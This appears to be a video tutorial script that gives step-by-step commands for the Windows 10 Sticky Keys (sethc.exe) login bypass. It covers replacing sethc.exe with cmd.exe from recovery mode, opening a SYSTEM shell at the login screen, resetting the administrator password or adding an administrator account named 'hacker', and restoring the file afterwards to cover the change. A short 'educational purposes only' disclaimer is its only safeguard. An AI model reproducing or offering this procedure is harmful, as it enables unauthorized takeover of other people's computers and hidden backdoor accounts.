Intro:

Welcome back! In this video, I’ll show you how to hack into a Windows 10 machine if you forgot the password — using the Sticky Keys exploit, also known as the sethc method.

This is for educational purposes only. Don’t use this without proper authorization.

Step 1: Boot from Windows 10 ISO

Shut down the computer

boot from a Windows 10 installation ISO.

Once it loads, click on “Repair your computer,” then choose “Troubleshoot,” and then “Command Prompt.”

Step 2: Find the Windows Drive

In the Command Prompt, type:

diskpart

list volume

exit

Look for the drive where Windows is installed. Usually it’s D: or C: when using recovery mode. Try switching to the correct drive.

Step 3: Backup the Original sethc.exe File

cd windows\system32

copy sethc.exe sethc-original.exe

Step 4: Replace sethc.exe with cmd.exe

copy cmd.exe sethc.exe

Say “Yes” when asked to overwrite.

Step 5: Reboot the Machine

Let the system reboot into the normal Windows login screen.

Step 6: Launch Command Prompt from Login Screen

At the login screen, press the Shift key 5 times.

Command Prompt will open with System privileges.

net user administrator 123456789

Or create a new user:

net user hacker 123456 /add

net localgroup administrators hacker /add

Step 7: Clean Up

copy sethc-original.exe sethc.exe
